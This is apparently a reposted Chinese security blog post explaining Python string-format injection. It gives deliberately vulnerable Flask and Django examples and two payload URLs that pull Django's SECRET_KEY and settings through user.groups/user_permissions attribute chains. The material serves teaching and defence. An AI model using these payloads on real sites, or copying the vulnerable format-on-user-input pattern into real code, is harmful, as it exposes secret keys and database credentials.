python中常见的漏洞

admin 2022年1月6日01:33:05评论172 views字数 1403阅读4分40秒阅读模式

比较少接触python的网站,要多花点时间来学习一下。

python中常见的漏洞

format注入

详细可看:http://www.venenof.com/index.php/archives/360/
flask为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request
app = Flask(__name__)
class veneno():
ven='hacker'
def __init__(self,name=None):
bb=veneno.ven
self.name=veneno.ven
return bb
@app.route('/test/',methods=['POST'])
def ven():
test = request.form['test']
return 'OK===>'+test.format(veneno)

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)

在{0.xxx}.format(xxx)时,0是会被替代为format里的参数的
,在python中,init是在类中被用做构造函数,而globals则是全局变量,于是就可以去继承类的中的方法,以此类推
python中常见的漏洞
django为例:
详情可看:https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
0x1 利用格式化字符串漏洞泄露Django配置信息

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件。
所以,思路就很明确了:我们只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

我随便列出两个,还有几个更有意思的我暂时不说:

1
2
3
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

参考文章:
LDAP注入(http://www.cnblogs.com/r00tgrok/p/LDAP_INJECTION_AND_PREVENTION.html)
format注入(http://www.venenof.com/index.php/archives/360/)
Python urllib HTTP头注入漏洞(https://www.tuicool.com/articles/2iIj2eR)

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:33:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python中常见的漏洞http://cn-sec.com/archives/721813.html

发表评论

匿名网友 填写信息